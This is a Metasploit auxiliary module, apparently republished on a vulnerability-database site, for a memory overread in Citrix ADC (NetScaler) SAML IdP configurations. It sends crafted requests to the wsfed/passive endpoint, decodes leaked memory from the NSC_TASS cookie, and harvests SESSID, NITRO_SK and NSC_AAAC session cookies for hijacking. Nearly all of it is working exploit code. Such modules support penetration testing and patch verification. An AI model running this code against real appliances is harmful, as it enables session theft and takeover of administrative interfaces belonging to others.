##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Citrix ADC (NetScaler) CVE-2026-3055 Scanner',
'Description' => %q{
This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory from a
target Citrix ADC server configured as a SAML IdP. The leaked memory is then scanned for session cookies
which can be hijacked if found.
},
'Author' => [
'watchTowr', # Original technical analysis and PoC for CVE-2026-3055
'sfewer-r7' # Metasploit module for CVE-2026-3055, based on the watchTowr PoC and Spencer McIntyre's module for CVE-2023-4966.
],
'References' => [
['CVE', '2026-3055'],
['URL', 'https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/'],
['URL', 'https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/']
],
'DisclosureDate' => '2026-03-23',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptInt.new('LEAK_REQUEST_COUNT', [true, 'The number of HTTP requests per host to try and leak data when exploiting the vulnerability', 4096]),
OptInt.new('CHECK_REQUEST_COUNT', [true, 'The maximum number of HTTP requests per host to try and leak data when checking for the vulnerability', 4]),
]
)
end
def check_host(_target_host)
datastore['CHECK_REQUEST_COUNT'].times do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wsfed', 'passive'),
'headers' => {
'Host' => Rex::Text.rand_text_alpha(128)
},
'vars_get' => {
'wctx' => nil
}
)
return Exploit::CheckCode::Unknown('Connection failed') unless res
# If has been observed that some requests generate a 200 response for a SAML error. We can continue
# trying to leak data rather than bail out early.
next if res.code == 200 && res.body == 'Undefined SAML error'
return Exploit::CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 302
cookies = res.get_cookies
# A patched system will not return any cookie values.
return Exploit::CheckCode::Safe('Response has no cookies') if cookies.empty?
return Exploit::CheckCode::Safe('Response has no NSC_TASS cookie') unless cookies.include? 'NSC_TASS='
# We report vulnerable, as by here an unpatched system will be leaking memory in the NSC_TASS cookie, while
# a patched system will not return any cookies at all.
report_vuln
return Exploit::CheckCode::Vulnerable('Response contains an NSC_TASS cookie.')
end
Exploit::CheckCode::Unknown
end
def run_host(_target_host)
# We track the number of bytes we leak to report back to the user and help determine if we triggered the vuln or not.
leaked_data_count = 0
# We use a set to track the unique leaked cookies, so we don't report leaking the same cookie numerous times.
found_cookies = Set.new
# As we cannot control what we leak, we hit the vuln up to LEAK_REQUEST_COUNT times and hope that we leak
# something useful during one of those attempts.
datastore['LEAK_REQUEST_COUNT'].times do
# Trigger CVE-2026-3055...
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wsfed', 'passive'),
'headers' => {
'Host' => Rex::Text.rand_text_alpha(128)
},
'vars_get' => {
'wctx' => nil
}
)
# Bail out early if the connection fails for this host
unless res
vprint_error("#{peer} - Connection failed")
break
end
# A vulnerable host will return 302, but may occasionally return a 200 error, we test for this and keep
# going if we see the 200 error, otherwise we bail out early.
unless res.code == 302
vprint_error("#{peer} - Unexpected response code #{res.code}")
# If has been observed that some requests generate a 200 response for a SAML error. We can continue
# trying to leak data rather than bail out early.
next if res.code == 200 && res.body == 'Undefined SAML error'
break
end
# The leaked data comes back to us in a Set-Cookie header, so we bail out early if no cookies are returned.
# This will handle a patched appliance.
# Note: A patched system will not return any cookie values.
cookies = res.get_cookies
if cookies.empty?
vprint_error("#{peer} - Response has no cookies")
break
end
# For every cookie returned, iterate over its key value pair and look for the NSC_TASS cookies which will
# contain the leaked memory (base64 encoded)
key_vals = cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)
key_vals.each do |k, v|
next unless k == 'NSC_TASS'
# Validate an NSC_TASS cookie value is well-formed base64 before attempting to decode it.
unless v.match?(%r{\A[A-Za-z0-9+/]+={0,2}\z})
vprint_error("#{peer} - NSC_TASS cookie value is not valid base64: #{v}")
next
end
bytes = Rex::Text.decode_base64(v)
leaked_data_count += bytes.bytesize
# Detect the SESSID and optional NITRO_SK cookie pair. The SESSID value is a hex string, while the NITRO_SK
# value is URL-encoded base64. The two cookies may appear in either order in the leaked data. These cookies
# are from the management interface. Note, the management interface may or may not be bound to the same RHOST IP
# address we are targeting, that depends on the appliance configuration. We can still leak it as its all in
# memory either way, but we may not be able to reuse it if we cant access the management interface.
bytes.scan(/SESSID=([0-9a-f]{32})/i).each do |match|
sessid_value = match.first
next if found_cookies.include?("SESSID=#{sessid_value}")
found_cookies.add("SESSID=#{sessid_value}")
nitro_sk_match = bytes.match(/NITRO_SK=([^\s;,]+)/i)
if nitro_sk_match
nitro_sk_value = nitro_sk_match[1]
print_good("#{peer} - Leaked cookie pair: SESSID=#{sessid_value}; NITRO_SK=#{nitro_sk_value}")
else
print_good("#{peer} - Leaked cookie: SESSID=#{sessid_value}")
end
end
# Detect NSC_AAAC cookies independently of the SESSID/NITRO_SK pair.
bytes.scan(/NSC_AAAC=([0-9a-f]{32,64})/i).each do |match|
nsc_aaac_value = match.first
next if found_cookies.include?("NSC_AAAC=#{nsc_aaac_value}")
found_cookies.add("NSC_AAAC=#{nsc_aaac_value}")
print_good("#{peer} - Leaked cookie: NSC_AAAC=#{nsc_aaac_value}")
end
end
rescue Errno::ECONNRESET
# It was observed that the server may reset the connection when activity on the management interface is occurring.
vprint_warning("#{peer} - Connection reset")
end
if leaked_data_count > 0
message = "The target is vulnerable. Leaked #{leaked_data_count} bytes"
if found_cookies.empty?
message += ', but did not leak any session cookies.'
else
cookie_word = found_cookies.size == 1 ? 'session cookie' : 'session cookies'
message += ", and #{found_cookies.size} unique #{cookie_word}."
end
print_status("#{peer} - #{message}")
report_vuln
else
print_status("#{peer} - The target does not appear vulnerable.")
end
end
def report_vuln
super(
host: rhost,
port: rport,
name: name,
refs: references
)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation